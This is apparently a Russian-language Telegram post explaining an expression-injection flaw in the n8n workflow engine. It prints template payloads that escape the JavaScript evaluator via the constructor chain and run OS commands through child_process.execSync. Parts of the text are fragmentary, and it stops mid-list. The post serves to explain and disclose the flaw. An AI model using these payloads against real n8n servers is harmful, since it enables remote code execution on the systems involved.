PurpleBear
@purple_medved
41 3.1K
n8n - workflow‑движок на Node.js, широко используемый для автоматизации LLM интеграций. У меня n8n используется для домашней автоматизации в качестве альтернативы Node-Red для Home Assistant, но также достаточно часто разворачивается внутри корпоративных сетей, что делает последствия эксплуатации довольно критичными.n8n используется механизм expressions - любые значения в формате {{ ... }} интерпретируются как JavaScript и обрабатываются на стороне сервера как есть🤷expression evaluator не имеет строгой sandbox‑изоляции;prototype chain;Function().expression injection позволяет выйти из песочницы и получить доступ к runtime Node.js{{ this.constructor.constructor("return process")() }}
this.constructor → Function
Function.constructor → снова Function
создаётся новая функция, возвращающая processchild_process и выполняем команды ОС:{{
this.constructor
.constructor(
"return process.mainModule.require('child_process')" +
".execSync('id').toString()"
)()
}}n8n, атакующий может:Платформа использует файлы cookie для авторизации и сохранения настроек. Продолжая работу, вы соглашаетесь с нашей Политикой использования cookie.
Обсуждение 0
Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.
Обсудить в Telegram